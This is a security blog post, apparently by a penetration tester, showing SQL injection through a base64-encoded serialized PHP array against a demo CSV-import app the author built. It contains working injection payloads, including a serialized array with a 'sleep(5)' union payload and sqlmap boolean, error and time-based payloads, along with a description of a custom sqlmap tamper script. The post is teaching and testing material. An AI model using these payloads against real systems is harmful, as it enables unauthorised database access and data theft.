PHP Serialization and SQL Injection

Sanitisation of user input is essential for preventing SQL injection, regardless of the format of the supplied data. Today I'm going to look at SQL injection through a more obscure injection point: serialized PHP arrays. Taking inspiration from a finding in a recent test, I've created a small app which allows the user to upload a CSV file. This file is then converted to a PHP array, serialized and returned to the user as a hidden form field. Finally, this is posted back to the application where the supplied data is inserted into the MySQL database.

The Recce

We'll begin by looking at the process involved in uploading the file. The first form the user is presented with is a simple file selection asking the user to supply a CSV file:

Upload page

We are going to submit the following data:

Cat,Furry Feline Friend,Whiskers
Dog,Cuddly Canine Companion,Floppy Ears
Musk Ox,Beautiful Bovine Beast,Looks Like a Judge

Once the file is uploaded, the data is presented back to the user in a table. This page also contains a hidden form field which has the serialized PHP array. Note that the array is base64 encoded:

Import CSV

Once this form is submitted the user is taken to the final page which shows the list of "comments":

Comments

The Exploit

So the first step we are going to take is to attempt to break the process with a single quote, just like any other SQL injection vulnerability. We will upload the same data as previously, but this time we will append the single quote to the word "Cat" in the first row of the CSV file:

Cat',Furry Feline Friend,Whiskers
Dog,Cuddly Canine Companion,Floppy Ears
Musk Ox,Beautiful Bovine Beast,Looks Like a Judge

And the result:

SQL Error

We can confirm the SQL inject by adding a second single quote. The data is inserted correctly and we get no error:

Comments

So we know we can inject via the insert statement, but the use of the CSV file is a fairly long winded process. We can skip the first step here and submit the encoded, serialized array directly. The serialized array looks like the following:

Base64 PHP serialized array

Which decodes to:

a:5:{i:0;a:3:{i:0;s:6:"Animal";i:1;s:11:"Description";i:2;s:13:"Why I Love It";}i:1;a:3:{i:0;s:5:"Cat";i:1;s:19:"Furry Feline Friend";i:2;s:8:"Whiskers";}i:2;a:3:{i:0;s:3:"Dog";i:1;s:23:"Cuddly Canine Companion";i:2;s:11:"Floppy Ears";}i:3;a:3:{i:0;s:7:"Musk Ox";i:1;s:22:"Beautiful Bovine Beast";i:2;s:18:"Looks like a judge";}i:4;b:0;}

We can speed up this process if we inject at the point that the serialized array is returned to the application. The above serialized array is base64 encoded so the first step is to decode the output. This can be done with Burp Suite.

Once we have the deserialized array, we can directly modify the value we are looking to inject (as I wrote this app I know the required format of the injection string, in reality you would need to fuzz the application to discover this):

a:5:{i:0;a:3:{i:0;s:6:"Animal";i:1;s:11:"Description";i:2;s:13:"Why I Love It";}i:1;a:3:{i:0;s:41:"Cat' union select sleep(5)),null,null);#'";i:1;s:19:"Furry Feline Friend";i:2;s:8:"Whiskers";}i:2;a:3:{i:0;s:3:"Dog";i:1;s:23:"Cuddly Canine Companion";i:2;s:11:"Floppy Ears";}i:3;a:3:{i:0;s:7:"Musk Ox";i:1;s:22:"Beautiful Bovine Beast";i:2;s:18:"Looks like a judge";}i:4;b:0;}

You will also notice that we need to modify the "s" which comes before the injection string. This value tells PHP how long the string is expected to be and if this is incorrect the unserialization will not work.

Next we need to base64 encode the array, ensure that any "=" signs are URL encoded, and send the parameter back to the application. As expected, this resulted in a 5 second delay in processing of the request.

The Automation

So far we have managed to manually exploit this SQL injection vulnerability, but successfully extracting information from the database would be time consuming and tedious. We could use automated tools such as sqlmap, however this doesn't natively handle PHP serialization. Fortunately this is where sqlmap tamper scripts come in very handy. A tamper script is used to modify the payload for an attack in order to bypass awkward encoding and parameter restrictions such as ours. Tamper scripts are selected using the '--tamper=' argument and several scripts can be stacked in order to achieve a wide variety of effects. Whilst sqlmap comes with a build in script for base64 encoding, there isn't one to handle PHP serialization.

In order to remedy this situation I set about creating my own script to handle the serialization of the payload. The user is prompted to insert the encoded parameter value:

[*] starting at 15:49:06

[15:49:06] [INFO] loading tamper script 'phparray'
Is the parameter base64 encoded? (Y/n) [Y/n]
Enter the encoded serialized array: 

And is then presented with a list of possible injection points:

Select item to inject:
1. Animal
2. Description
3. Why I Love It
4. Cat''
5. Furry Feline Friend
6. Whiskers
7. Dog
8. Cuddly Canine Companion
9. Floppy Ears
10. Musk Ox
11. Beautiful Bovine Beast
12. Looks like a judge
Selection: 

Once the selection has been made, sqlmap will then continue to attempt exploitation of the SQL injection vulnerability (hopefully successfully)

POST parameter 'hiddencsv' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 261 HTTP(s) requests:
---
Parameter: hiddencsv (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: hiddencsv=') AND 5599=5599 AND ('YBPW'='YBPW&import=Import

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: hiddencsv=') AND (SELECT 7915 FROM(SELECT COUNT(*),CONCAT(0x716b7a7171,(SELECT (ELT(7915=7915,1))),0x7170717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('mFpp'='mFpp&import=Import

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: hiddencsv=') AND SLEEP(5) AND ('eEva'='eEva&import=Import
---

So now we have a working tamper script we can automate the process of exploiting SQL injection through serialized objects. The script, phparray.py, can be downloaded from Cyberis' GitHub repository (https://github.com/cyberisltd/phparray).